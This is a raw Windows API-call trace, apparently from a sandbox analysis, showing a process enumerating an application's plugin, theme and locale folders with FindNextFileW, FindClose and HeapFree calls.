	[0168.024] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0168.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.025] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0168.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.026] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0168.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.027] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0168.027] FindClose (in: hFindFile=0x394bc78 | out: hFindFile=0x394bc78) returned 1
	[0168.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.027] FindNextFileW (in: hFindFile=0x394b7f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0168.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0168.028] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0168.029] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0168.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0168.032] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1
	[0168.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.040] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0168.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.041] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0168.041] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0168.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0168.042] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1
	[0168.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.055] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0168.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.059] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0168.059] FindClose (in: hFindFile=0x394b778 | out: hFindFile=0x394b778) returned 1
	[0168.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.059] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0168.059] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0168.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0168.059] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0168.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.341] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0168.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.341] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0168.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.341] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0168.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.341] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0168.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.342] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0168.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.342] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0168.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.342] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0168.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.342] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0168.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.343] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0168.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.343] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0168.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.343] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0168.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.343] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0168.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.344] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0168.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.344] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0168.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.344] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0168.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.345] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0168.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.345] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0168.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.345] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0168.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.346] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0168.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.346] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0168.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.346] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0168.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.346] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0168.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.347] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0168.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0168.347] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0168.347] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
